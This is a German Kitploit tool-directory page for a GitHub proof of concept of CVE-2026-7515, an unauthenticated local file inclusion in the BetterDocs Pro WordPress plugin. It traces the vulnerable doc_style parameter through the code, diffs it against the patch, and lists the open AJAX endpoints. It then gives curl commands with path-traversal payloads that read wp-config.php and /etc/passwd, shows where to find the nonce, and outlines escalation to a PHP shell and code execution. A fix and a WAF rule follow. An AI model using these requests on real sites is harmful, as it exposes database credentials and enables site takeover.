Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/polosss/by-poloss..-..cve-2026-7515-poc
SchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & Bildung
GitHubpolosss/by-poloss..-..cve-2026-7515-poc

By-Poloss..-..CVE-2026-7515-PoC

Unauthentifizierte lokale Dateieinbindung

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
1vor 2 MonatenNoch nicht geprüft

CVE-2026-7515: BetterDocs Pro <= 3.8.0 – Nicht authentifizierte lokale Dateieinbindung

Überblick

FeldWert
CVE-IDCVE-2026-7515
CVSS-Score9.8 (Kritisch)
CVSS-VektorAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
BetroffenBetterDocs Pro <= 3.8.0
Gepatched3.8.1
ForscherNguyen Ngoc Duc (duc193)
Veröffentlicht18. Juni 2026
CWECWE-98: Unzureichende Kontrolle des Dateinamens für Include/Require-Anweisung

Beschreibung der Schwachstelle

Das BetterDocs Pro-Plugin für WordPress ist anfällig für lokale Dateieinbindung in Versionen bis einschließlich 3.8.0 über den Parameter doc_style. Dadurch können nicht authentifizierte Angreifer beliebige PHP-Dateien auf dem Server einbinden und ausführen.

Taint-Analyse: Quelle → Senke

Quelle (Benutzereingabe)

Datei: wp-content/plugins/betterdocs-pro/includes/Core/Encyclopedia.php Zeile: 141

root@kitploit:~
// VERWUNDBARER CODE (v3.8.0)
$doc_style = isset($_POST['doc_style']) ? $_POST['doc_style'] : 'doc-grid';

Problem: Eine vom Benutzer gesteuerte Eingabe aus $_POST['doc_style'] wird ohne Validierung direkt verwendet.

Senke (Gefährliche Funktion)

Datei: wp-content/plugins/betterdocs-pro/includes/Core/Encyclopedia.php Zeile: 195

root@kitploit:~
betterdocs_pro()->views->get("layouts/encyclopedia/$doc_style", [
    'doc' => $doc,
    'excerpt' => $excerpt,
    'dictionary_learn_more_text' => $learn_more_text,
    'item_heading_tag' => $item_heading_tag,
]);

Problem: Die Variable $doc_style (benutzergesteuert) wird direkt in den Dateipfad interpoliert, der an views->get() übergeben wird, was die Datei einbindet.

Datenfluss

root@kitploit:~
HTTP-POST-Anfrage
        ↓
$_POST['doc_style'] = "../../../../../../wp-config"
        ↓
KEINE VALIDIERUNG (verwundbare Version 3.8.0)
        ↓
betterdocs_pro()->views->get("layouts/encyclopedia/$doc_style", [...])
        ↓
Dateieinbindung via include() oder require()
        ↓
Beliebige PHP-Codeausführung / Dateilesen

Diff: Verwundbar vs. Gepatched

Verwundbare Version 3.8.0

root@kitploit:~
// Zeile 141 in includes/Core/Encyclopedia.php
$doc_style = isset($_POST['doc_style']) ? $_POST['doc_style'] : 'doc-grid';

Gepatchte Version 3.8.1

root@kitploit:~
// Zeilen 145-148 in includes/Core/Encyclopedia.php
$allowed_doc_styles = ['doc-grid', 'doc-list', 'doc-list-2'];
$doc_style = isset($_POST['doc_style']) && in_array($_POST['doc_style'], $allowed_doc_styles, true)
    ? $_POST['doc_style']
    : 'doc-grid';

Hauptunterschiede

Betroffene AJAX-Endpunkte

Beide Endpunkte registrieren sich mit nopriv-Hooks, was bedeutet, dass sie für nicht authentifizierte Benutzer zugänglich sind:

root@kitploit:~
// Zeile 17-18
add_action('wp_ajax_load_more_docs_section', [$this, 'load_more_docs_section']);
add_action('wp_ajax_nopriv_load_more_docs_section', [$this, 'load_more_docs_section']);

// Zeile 20-21
add_action('wp_ajax_load_more_docs', [$this, 'load_more_docs']);
add_action('wp_ajax_nopriv_load_more_docs', [$this, 'load_more_docs']);

Endpunkte:

  1. POST /wp-admin/admin-ajax.php?action=load_more_docs_section
  2. POST /wp-admin/admin-ajax.php?action=load_more_docs

Proof of Concept

Voraussetzungen

  • Gültiges encyclopedia_nonce (im Quelltext von Seiten mit dem BetterDocs Encyclopedia-Block zu finden)

Manuelle Ausnutzung

root@kitploit:~
# Schritt 1: wp-config.php lesen
curl -X POST "https://target.com/wp-admin/admin-ajax.php" \
  -d "action=load_more_docs_section" \
  -d "_nonce=VALID_ENCRYPTION_NONCE" \
  -d "doc_style=../../../../../../wp-config" \
  -d "page=1"

# Schritt 2: /etc/passwd lesen
curl -X POST "https://target.com/wp-admin/admin-ajax.php" \
  -d "action=load_more_docs" \
  -d "_nonce=VALID_ENCRYPTION_NONCE" \
  -d "doc_style=../../../../../../etc/passwd" \
  -d "page=0"

Finden des Nonce

Der encyclopedia_nonce wird in JavaScript auf Seiten verfügbar gemacht, auf denen der BetterDocs Encyclopedia-Block gerendert wird:

root@kitploit:~
// In betterdocs-encyclopedia.js
betterdocsEncyclopedia = {
    'site_url': '...',
    'ajax_url': '...',
    '_nonce': 'VALID_NONCE_HERE'  // <-- Das ist es, was Sie brauchen
};

LFI zu RCE-Pfad

  1. wp-config.php lesen – Datenbank-Anmeldeinformationen extrahieren
  2. PHP-Shell hochladen – Über WordPress-Medien-Upload oder Theme-Editor
  3. Böswillige Datei einbinden – Über LFI-Schwachstelle
  4. Code ausführen – Entfernte Codeausführung erlangen

Auswirkungen

Behebung

Primäre Lösung

Aktualisieren Sie auf BetterDocs Pro Version 3.8.1 oder höher

Manuelle Lösung (falls Update nicht möglich)

Wenden Sie den folgenden Patch auf includes/Core/Encyclopedia.php an:

root@kitploit:~
// Ersetzen Sie Zeile 141 durch:
$allowed_doc_styles = ['doc-grid', 'doc-list', 'doc-list-2'];
$doc_style = isset($_POST['doc_style']) && in_array($_POST['doc_style'], $allowed_doc_styles, true)
    ? $_POST['doc_style']
    : 'doc-grid';

Wenden Sie die gleiche Lösung auf Zeile 236 an.

WAF-Regeln (vorübergehende Abschwächung)

Fügen Sie eine Regel hinzu, um Pfad-Traversierung im Parameter doc_style zu blockieren:

root@kitploit:~
# Blockiere doc_style mit Pfad-Traversal-Mustern
SecRule ARGS:doc_style "@rx (\.\.\/|\.\.\\|%2e%2e)" \
    "id:1001,phase:1,deny,status:403,msg:'LFI Versuch blockiert'"

Referenzen

  • Wordfence Intelligence
  • BetterDocs Offiziell
  • CVE Details
  • WPVDB

Analysierte Dateien

root@kitploit:~
Verwundbare Version: betterdocs-pro_3.8.0.zip
Gepatchte Version:   betterdocs-pro_3.9.0.zip

Wichtige Dateien:
- includes/Core/Encyclopedia.php    (VERWUNDBAR)
- includes/Core/Scripts.php         (Enthält Nonce-Erzeugung)
- includes/Utils/Views.php          (Dateieinbindungslogik)
Tool herunterladen
AspektVerwundbar (3.8.0)Gepatched (3.8.1)
ValidierungKeineWhitelist mit in_array()
Zulässige WerteBeliebige ZeichenketteNur doc-grid, doc-list, doc-list-2
TypüberprüfungNeinStrikter (===) Vergleich
AuswirkungstypSchweregradBeschreibung
VertraulichkeitHOCHBeliebige Dateien lesen (wp-config.php, /etc/passwd usw.)
IntegritätHOCHDateien ändern oder löschen
VerfügbarkeitHOCHDenial-of-Service
AngriffsvektorNetzwerkRemote ausnutzbar
BerechtigungenKeineKeine Authentifizierung erforderlich
BenutzerinteraktionKeineNicht erforderlich